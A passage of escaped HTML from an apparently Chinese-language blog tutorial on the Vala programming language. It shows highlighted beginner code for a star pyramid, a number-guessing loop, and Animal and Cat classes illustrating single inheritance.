class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 金字塔输出\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;*\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e计事件循环 while\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Vala 引用库的方式\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kn\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eRandom\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这里我用了随机数类\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etoGuess\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRandom\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eint_range\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e50\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Enter a number: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etoGuess\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etoGuess\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Think larger.\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Think smaller.\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Match\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"面向对象特性\"\u003e面向对象特性\u003c/h2\u003e\n\u003cp\u003e先说一句,我面向对象课学的一塌糊涂,如果想了解更多,请看官方介绍:\u003ca class=\"link\" href=\"https://wiki.gnome.org/Projects/Vala/Tutorial#Object_Oriented_Programming\" target=\"_blank\" rel=\"noopener\"\n \u003eProject/Vala/Tutorial#OOP\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e注意,Vala 基于 GLib,GLib 包含 GObject,GObject 仅支持单向继承。所以,跟 Java 一样,Vala 是单继承+接口。\u003c/p\u003e\n\u003cp\u003e从大家喜闻乐见的开始:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eAnimal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 类里面的变量\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 和 Java 一样,有 private protected public\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eprotected\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 构造函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAnimal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_name\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_name\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 析构函数,一般不用写\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// ~Animal();\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 方法\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eaction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Punish you in the name of the moon, \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eCat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAnimal\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecute\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 